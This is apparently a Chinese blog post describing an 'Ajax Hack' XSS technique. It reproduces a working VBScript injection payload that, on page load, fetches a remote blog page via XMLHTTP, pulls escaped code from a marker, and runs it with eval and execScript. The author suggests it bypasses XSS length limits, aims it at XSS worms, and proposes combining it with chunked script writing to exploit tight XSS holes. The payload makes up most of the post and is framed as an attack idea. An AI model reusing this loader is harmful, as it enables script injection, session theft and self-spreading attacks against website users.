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一个有趣的Ajax Hack示范

2024-07-03 01:21:54   231人阅读

今天在梦之光芒的BLOG上看见了一个Ajax Hack示范，其实跨站发现很容易，但是要做到大危害还是很难，偷偷COOKIE什么的只针对用户而已，XSS WORM的那种利用才是可怕的。 

来看看他的一段VBSCRIPT脚本 

vbscript:execute("  
dim l,s:  
l=chr(13)+chr(10):  
s=""sub mycode""&l:  
s=s&""dim http,url,pg,p,p2,cd,ht,o""&l:  
s=s&""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l:  
s=s&""set http=createobject(""""Microsoft.XMLHTTP"""")""&l:  
s=s&""http.open """"get"""",url,false""&l:  
s=s&""http.send("""""""")""&l:  
s=s&""pg=http.responseText""&l:  
s=s&""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""&l:  
s=s&""if p=null or p<1 then exit sub""&l:  
s=s&""p=instr(p,pg,chr(37))""&l:  
s=s&""if p=null or p<1 then exit sub""&l:  
s=s&""p2=instr(p,pg,chr(60))""&l:  
s=s&""cd=mid(pg,p,p2-p)""&l:  
s=s&""ht=""""eval(unescape(‘""""&cd&""""‘))""""""&l:  
s=s&""window.execScript ht,""""jscript""""""&l:  
s=s&""end sub""&l:  
execute(s):  
document.body.onload=getref(""mycode""):  
")

调用代码在 http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html 
这样就实现了本站调用代码，换个思路，是否这就解决了Ajax Hack常用的的提交数据限制（站外提交没有权限,XSS代码长度限制)的问题，呵呵~这里我也没实验。 

再还有一个思路就是剑心的分片写入脚本再eval出来~这两个思路结合起来，也许我们就能在苛刻的XSS漏洞上创造奇迹！

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